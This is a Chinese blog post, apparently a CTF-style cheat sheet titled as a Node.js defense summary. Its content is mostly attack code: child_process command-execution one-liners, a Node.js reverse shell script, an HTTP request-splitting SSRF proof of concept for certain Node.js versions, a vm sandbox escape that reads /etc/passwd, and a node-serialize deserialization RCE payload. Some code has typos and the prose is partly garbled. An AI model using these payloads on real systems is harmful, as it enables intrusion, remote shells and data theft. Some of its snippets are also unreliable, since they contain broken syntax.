Nodejs的防御总结

Nodejs的防御总结

PluginsKers
2021-03-12 / 0 评论 / 156 阅读 / 正在检测是否收录...

0x01

命令执行

require('child_porcess').execSync('id');
global.process.mainModule.constructor._load('child_process').execSync('id');
require('fs').readdirSync('.').toString()
require('fs').readFileSync('a.js', 'utf-8')
require('fs').writeFileSync('message.txt', 'hello')({}).constructor.constructor
// 反弹shell
(function() {
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "localhost", function() {
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

0x02 HTTP拆分攻击

0x001 进攻原理

根据
此处,收缩范围在[6.0.0,6.15.0)和[8.0.0,8.14.0)版本以内部的Nodejs都存在这个问题。

简而言之,突破原因是当http包在处理http请求路径时,替换使用了latin1
单字节编码字符集,当我们的请求路径中包含多字节编码的unicode字符时,会被截断取最低字节。

例如u0130
就会被截断为u30

为了避免crlf注入,nodejs也会将输入的rn
url编码为%0d%0a,但是我们可以通过上面的突破就可以绕过。

%C4%8D%C4%8A
代替rn
就可以绕过

0x03 进攻利用

一般是用做SSRF,通过crlf注入,向服务器发送走私内容。一般使用绕过内网限制。

下面是一个突破性的POC,在存在裂缝的Nodejs版本运行可以很形象的观察突破,扩展此处

const http = require('http')
const server = http.createServer((req, res) = > {
    console.log(req.url);
    res.end();
});
server.listen(8000, function() {
    http.get('http://127.0.0.1:8000/?param=xu{0120}HTTP/1.1u{010D}u{010A}Host:{u0120}127.0.0.1:8000u{010D}u{010A}u{010D}u{010A}GETu{0120}/private', function() {});
});

0x04 沙箱逃逸

0x001

vm模块不是安全机制。不要使用它来运行不受信任的代码。

官方文档也已经说了它是一个不安全的模块,而它也很容易逃逸。

在js中this
是对当前对象的一个引用,然后在vm中的this
指点的就是vm一部分,说明已经是vm其他之外了。

.constructor.constructor
可以索引到Function,创建匿名函数。那么在这个匿名函数中的this
就是外部的this

const vm = require("vm");
const result = vm.runInNewContext(`var process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(result)

这样就能取到沙箱外的过程,执行命令了。

0x002

号称是能安全的执行不信任的代码的,只能在情况下只有js内置对象和Buffer可以访问。它内部使用vm模块创建的插件,并通过js的代理机制防止逃逸出沙箱。

只要在运行过程中获取到任何一个外部的对象,就可以索引到外部的此。这篇文章
是通过制造错误,引起外部报错,再捕获外部的报错实现逃逸的(已修复)。

XmiliaH
对很多个版本都有逃逸,但最新版本都已修复。

0x05 JS原型链污染

0x001 node_serialize进攻

node_modulesnode-serializelibserialize.js中非常简单的代码

反序列化时,使用eval处理_$$ND_FUNC$$开头的代码

var FUNCFLAG = '_$$ND_FUNC$$_';
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' +
obj[key].substring(FUNCFLAG.length) + ')');

直接注入就行了

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)})"}';
serialize.unserialize(payload);

没有必要用IIFE

说实话,大佬和我补充这个的时候,我人都傻了。

0x06 最后

我大概就了解到这些,感谢那位不知名的"大佬"把我的转发玩烂了表情,不然我还真不重视Nodejs的安全问题。

11

评论 (0)

取消